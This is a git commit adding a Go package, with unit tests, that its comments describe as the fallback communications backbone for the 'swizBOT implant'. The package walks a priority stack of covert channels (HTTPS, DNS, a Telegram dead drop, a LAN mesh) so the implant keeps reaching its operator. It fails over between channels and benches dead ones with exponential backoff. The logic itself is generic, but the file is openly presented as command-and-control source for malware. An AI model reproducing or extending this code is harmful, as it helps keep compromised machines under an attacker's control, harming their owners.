Upload files to "internal/transport"

This commit is contained in:
ek0ms savi0r
2026-09-12 01:31:34 +00:00
parent 58b3ba8ab6
commit f6a927e275
2 changed files with 472 additions and 0 deletions
+265
View File
@@ -0,0 +1,265 @@
// Package transport is the layered fallback-comms backbone for the
// swizBOT implant.
//
// The implant talks to the operator through an ordered stack of channels
// (HTTPS endpoints, DNS records, a Telegram dead drop, a LAN mesh, ...).
// Each channel is a Layer. The Manager walks the stack in priority order,
// fails over on error, and keeps per-layer health so a dead channel is
// put on probation instead of being hammered on every beacon.
//
// Layers move opaque bytes. Encryption is the caller's job (or the
// layer's), so the same Manager carries AEAD frames, legacy
// XOR-obfuscated bodies, or cleartext in a lab without knowing which.
package transport
import (
"context"
"errors"
"sort"
"sync"
"time"
)
// Sentinel errors. Layers return ErrUnsupported for an operation they do
// not implement (e.g. a receive-only DNS channel); the Manager then skips
// the layer without counting it as a failure.
var (
ErrNoLayers = errors.New("transport: no layers configured")
ErrAllFailed = errors.New("transport: every layer failed")
ErrUnsupported = errors.New("transport: operation unsupported by layer")
)
// Frame is one wire payload returned by a poll. Sealed reports whether
// Body is an AEAD frame (true) or a cleartext JSON body (false, legacy
// lab mode) so the caller knows how to open it. Paused carries the fleet
// kill-switch signal when the channel exposes it (HTTP X-Paused).
type Frame struct {
Body []byte
Sealed bool
Paused bool
}
// Layer is a single comms channel in the fallback stack.
//
// Poll returns the next inbound frame: (Frame{}, nil) means the channel
// is healthy but has nothing queued, (Frame{}, err) means the channel
// failed. Push delivers one outbound frame.
type Layer interface {
Name() string
Priority() int
Poll(ctx context.Context) (Frame, error)
Push(ctx context.Context, frame []byte) error
}
// LayerStatus is a point-in-time health snapshot for observability.
type LayerStatus struct {
Name string
Priority int
Healthy bool
Consecutive int
Successes uint64
Failures uint64
ProbationTill time.Time
LastError string
LastOK time.Time
}
type layerState struct {
layer Layer
consec int
probUntil time.Time
lastErr error
lastOK time.Time
ok uint64
fail uint64
}
// Manager owns the ordered layer stack and its health state.
type Manager struct {
mu sync.Mutex
states []*layerState
now func() time.Time
failThreshold int
probation time.Duration
maxProbation time.Duration
}
// Option configures a Manager.
type Option func(*Manager)
// WithClock overrides the time source (tests).
func WithClock(now func() time.Time) Option { return func(m *Manager) { m.now = now } }
// WithProbation sets the consecutive-failure threshold that trips
// probation and the base probation duration.
func WithProbation(after int, d time.Duration) Option {
return func(m *Manager) {
if after > 0 {
m.failThreshold = after
}
if d > 0 {
m.probation = d
}
}
}
// WithMaxProbation caps the exponential probation backoff.
func WithMaxProbation(d time.Duration) Option {
return func(m *Manager) {
if d > 0 {
m.maxProbation = d
}
}
}
// New builds a Manager over the given layers, ordered by ascending
// Priority (lower = tried first).
func New(layers []Layer, opts ...Option) *Manager {
m := &Manager{
now: time.Now,
failThreshold: 3,
probation: 30 * time.Second,
maxProbation: 30 * time.Minute,
}
for _, o := range opts {
o(m)
}
for _, l := range layers {
if l == nil {
continue
}
m.states = append(m.states, &layerState{layer: l})
}
sort.SliceStable(m.states, func(i, j int) bool {
return m.states[i].layer.Priority() < m.states[j].layer.Priority()
})
return m
}
// Names returns the layer names in priority order.
func (m *Manager) Names() []string {
m.mu.Lock()
defer m.mu.Unlock()
out := make([]string, len(m.states))
for i, s := range m.states {
out[i] = s.layer.Name()
}
return out
}
// Poll returns the first inbound frame from the highest-priority healthy
// layer. ErrAllFailed means every layer either errored or was skipped.
func (m *Manager) Poll(ctx context.Context) (Frame, string, error) {
m.mu.Lock()
states := append([]*layerState(nil), m.states...)
m.mu.Unlock()
if len(states) == 0 {
return Frame{}, "", ErrNoLayers
}
for _, s := range states {
if m.inProbation(s) {
continue
}
f, err := s.layer.Poll(ctx)
if errors.Is(err, ErrUnsupported) {
continue
}
if err != nil {
m.markFail(s, err)
continue
}
m.markOK(s)
return f, s.layer.Name(), nil
}
return Frame{}, "", ErrAllFailed
}
// Push delivers a frame through the first healthy layer that accepts it.
func (m *Manager) Push(ctx context.Context, frame []byte) (string, error) {
m.mu.Lock()
states := append([]*layerState(nil), m.states...)
m.mu.Unlock()
if len(states) == 0 {
return "", ErrNoLayers
}
for _, s := range states {
if m.inProbation(s) {
continue
}
err := s.layer.Push(ctx, frame)
if errors.Is(err, ErrUnsupported) {
continue
}
if err != nil {
m.markFail(s, err)
continue
}
m.markOK(s)
return s.layer.Name(), nil
}
return "", ErrAllFailed
}
// Status snapshots per-layer health, in priority order.
func (m *Manager) Status() []LayerStatus {
m.mu.Lock()
defer m.mu.Unlock()
out := make([]LayerStatus, 0, len(m.states))
for _, s := range m.states {
st := LayerStatus{
Name: s.layer.Name(),
Priority: s.layer.Priority(),
Consecutive: s.consec,
Successes: s.ok,
Failures: s.fail,
ProbationTill: s.probUntil,
LastOK: s.lastOK,
Healthy: s.consec < m.failThreshold && !m.probationActive(s),
}
if s.lastErr != nil {
st.LastError = s.lastErr.Error()
}
out = append(out, st)
}
return out
}
func (m *Manager) probationActive(s *layerState) bool {
return !s.probUntil.IsZero() && m.now().Before(s.probUntil)
}
func (m *Manager) inProbation(s *layerState) bool {
m.mu.Lock()
defer m.mu.Unlock()
return m.probationActive(s)
}
func (m *Manager) markOK(s *layerState) {
m.mu.Lock()
defer m.mu.Unlock()
s.consec = 0
s.probUntil = time.Time{}
s.lastOK = m.now()
s.ok++
}
func (m *Manager) markFail(s *layerState, err error) {
m.mu.Lock()
defer m.mu.Unlock()
s.consec++
s.fail++
s.lastErr = err
if s.consec >= m.failThreshold {
// exponential probation: base * 2^(over-threshold), capped
over := s.consec - m.failThreshold
if over > 20 {
over = 20
}
d := m.probation << uint(over)
if d <= 0 || d > m.maxProbation {
d = m.maxProbation
}
s.probUntil = m.now().Add(d)
}
}
+207
View File
@@ -0,0 +1,207 @@
package transport
import (
"context"
"errors"
"testing"
"time"
)
type clock struct{ t time.Time }
func (c *clock) now() time.Time { return c.t }
func (c *clock) advance(d time.Duration) { c.t = c.t.Add(d) }
type fakeLayer struct {
name string
pri int
pollF func(context.Context) (Frame, error)
pushF func(context.Context, []byte) error
}
func (f *fakeLayer) Name() string { return f.name }
func (f *fakeLayer) Priority() int { return f.pri }
func (f *fakeLayer) Poll(ctx context.Context) (Frame, error) {
if f.pollF == nil {
return Frame{}, ErrUnsupported
}
return f.pollF(ctx)
}
func (f *fakeLayer) Push(ctx context.Context, b []byte) error {
if f.pushF == nil {
return ErrUnsupported
}
return f.pushF(ctx, b)
}
func errLayer(name string, pri int) *fakeLayer {
return &fakeLayer{name: name, pri: pri, pollF: func(context.Context) (Frame, error) {
return Frame{}, errors.New("down")
}, pushF: func(context.Context, []byte) error { return errors.New("down") }}
}
func okLayer(name string, pri int, body string, sealed bool) *fakeLayer {
return &fakeLayer{name: name, pri: pri, pollF: func(context.Context) (Frame, error) {
return Frame{Body: []byte(body), Sealed: sealed}, nil
}, pushF: func(context.Context, []byte) error { return nil }}
}
func TestOrderingByPriority(t *testing.T) {
m := New([]Layer{errLayer("c", 30), errLayer("a", 10), errLayer("b", 20)})
got := m.Names()
want := []string{"a", "b", "c"}
for i := range want {
if got[i] != want[i] {
t.Fatalf("order = %v, want %v", got, want)
}
}
}
func TestPollFailover(t *testing.T) {
m := New([]Layer{errLayer("https", 10), okLayer("dns", 20, "frame", true)})
f, via, err := m.Poll(context.Background())
if err != nil {
t.Fatalf("poll: %v", err)
}
if via != "dns" || string(f.Body) != "frame" || !f.Sealed {
t.Fatalf("got via=%q body=%q sealed=%v", via, f.Body, f.Sealed)
}
}
func TestPollStopsAtFirstHealthy(t *testing.T) {
empty := &fakeLayer{name: "https", pri: 10, pollF: func(context.Context) (Frame, error) {
return Frame{}, nil // healthy, nothing queued
}}
m := New([]Layer{empty, okLayer("dns", 20, "should-not-win", true)})
f, via, err := m.Poll(context.Background())
if err != nil {
t.Fatalf("poll: %v", err)
}
if via != "https" || len(f.Body) != 0 {
t.Fatalf("expected to stop at https with empty frame, got via=%q body=%q", via, f.Body)
}
}
func TestProbationThenSkip(t *testing.T) {
clk := &clock{t: time.Unix(1000, 0)}
l1 := errLayer("https", 10)
l2 := okLayer("dns", 20, "ok", true)
m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(2, 10*time.Second))
// two failed polls trip probation on l1
for i := 0; i < 2; i++ {
if _, via, err := m.Poll(context.Background()); err != nil || via != "dns" {
t.Fatalf("poll %d: via=%q err=%v", i, via, err)
}
}
st := m.Status()[0]
if st.Failures != 2 || !st.ProbationTill.After(clk.now()) {
t.Fatalf("l1 should be in probation after 2 failures: %+v", st)
}
// third poll must skip l1 entirely (no new failures recorded)
if _, via, err := m.Poll(context.Background()); err != nil || via != "dns" {
t.Fatalf("poll 3: via=%q err=%v", via, err)
}
if got := m.Status()[0].Failures; got != 2 {
t.Fatalf("l1 should not be retried during probation, failures=%d", got)
}
}
func TestRecoveryAfterProbation(t *testing.T) {
clk := &clock{t: time.Unix(2000, 0)}
recovered := false
l1 := &fakeLayer{name: "https", pri: 10, pollF: func(context.Context) (Frame, error) {
if !recovered {
return Frame{}, errors.New("down")
}
return Frame{Body: []byte("back"), Sealed: true}, nil
}, pushF: func(context.Context, []byte) error { return nil }}
l2 := okLayer("dns", 20, "fallback", true)
m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(1, 10*time.Second))
// one failure -> probation
if _, via, _ := m.Poll(context.Background()); via != "dns" {
t.Fatalf("expected fallback, got %q", via)
}
// still in probation -> skipped even though l1 would succeed now
recovered = true
if _, via, _ := m.Poll(context.Background()); via != "dns" {
t.Fatalf("expected probation skip, got %q", via)
}
// after the window, l1 is retried and wins
clk.advance(11 * time.Second)
f, via, err := m.Poll(context.Background())
if err != nil || via != "https" || string(f.Body) != "back" {
t.Fatalf("expected https recovery, got via=%q body=%q err=%v", via, f.Body, err)
}
if st := m.Status()[0]; !st.Healthy || st.Consecutive != 0 {
t.Fatalf("l1 should be healthy after recovery: %+v", st)
}
}
func TestPushFirstSuccess(t *testing.T) {
m := New([]Layer{errLayer("https", 10), okLayer("dns", 20, "", true)})
via, err := m.Push(context.Background(), []byte("x"))
if err != nil || via != "dns" {
t.Fatalf("push via=%q err=%v", via, err)
}
}
func TestUnsupportedSkipped(t *testing.T) {
// poll-side unsupported (no pollF) must not count as a failure
ro := &fakeLayer{name: "dns", pri: 10, pushF: func(context.Context, []byte) error { return nil }}
m := New([]Layer{ro, okLayer("https", 20, "ok", true)})
if _, via, err := m.Poll(context.Background()); err != nil || via != "https" {
t.Fatalf("poll via=%q err=%v", via, err)
}
if st := m.Status()[0]; st.Failures != 0 {
t.Fatalf("unsupported poll must not count as failure: %+v", st)
}
// push direction: the https layer is poll-only? no - it pushes fine. use a poll-only first layer
pollOnly := &fakeLayer{name: "recv", pri: 10, pollF: func(context.Context) (Frame, error) { return Frame{}, nil }}
m2 := New([]Layer{pollOnly, okLayer("https", 20, "", true)})
if via, err := m2.Push(context.Background(), []byte("x")); err != nil || via != "https" {
t.Fatalf("push via=%q err=%v", via, err)
}
if st := m2.Status()[0]; st.Failures != 0 {
t.Fatalf("unsupported push must not count as failure: %+v", st)
}
}
func TestAllFailed(t *testing.T) {
m := New([]Layer{errLayer("a", 10), errLayer("b", 20)})
if _, _, err := m.Poll(context.Background()); !errors.Is(err, ErrAllFailed) {
t.Fatalf("want ErrAllFailed, got %v", err)
}
if _, err := m.Push(context.Background(), nil); !errors.Is(err, ErrAllFailed) {
t.Fatalf("push want ErrAllFailed, got %v", err)
}
}
func TestNoLayers(t *testing.T) {
m := New(nil)
if _, _, err := m.Poll(context.Background()); !errors.Is(err, ErrNoLayers) {
t.Fatalf("want ErrNoLayers, got %v", err)
}
if _, err := m.Push(context.Background(), nil); !errors.Is(err, ErrNoLayers) {
t.Fatalf("push want ErrNoLayers, got %v", err)
}
}
func TestProbationBackoffCaps(t *testing.T) {
clk := &clock{t: time.Unix(3000, 0)}
l1 := errLayer("https", 10)
l2 := okLayer("dns", 20, "ok", true)
m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(1, time.Minute), WithMaxProbation(5*time.Minute))
// drive many failures, advancing past each probation window so l1 retries
for i := 0; i < 40; i++ {
_, _, _ = m.Poll(context.Background())
clk.advance(6 * time.Minute)
}
st := m.Status()[0]
// probation window must be capped
if d := st.ProbationTill.Sub(clk.now()); d > 5*time.Minute+time.Second {
t.Fatalf("probation window %s exceeds cap", d)
}
}